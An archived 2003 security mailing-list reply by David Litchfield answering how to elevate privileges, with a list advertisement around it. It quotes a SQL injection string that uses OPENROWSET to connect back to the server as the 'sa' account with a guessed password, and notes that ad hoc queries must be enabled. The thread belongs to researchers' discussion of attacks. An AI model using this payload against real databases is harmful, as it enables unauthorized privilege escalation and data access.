OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: David Litchfield (mnemonix_at_globalnet.co.uk)
Date: Thu Feb 20 2003 - 01:22:06 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    >.....The goal is to elevate priviledges.

    >How would you achieve this? ...

    You need to take a look at OPENROWSET:

    ' UNION SELECT * FROM
    OPENROWSET('SQLOLEDB','localhost';'sa';'testpass','SELECT version')--

    Adhoc queries need to be enabled, though.

    HTH,
    David Litchfield
    NGSSoftware Ltd
    http://www.ngssoftware.com/

    ----------------------------------------------------------------------------

    Do you know the base address of the Global Offset Table (GOT) on a Solaris 8
    box?
    CORE IMPACT does.
    http://www.securityfocus.com/core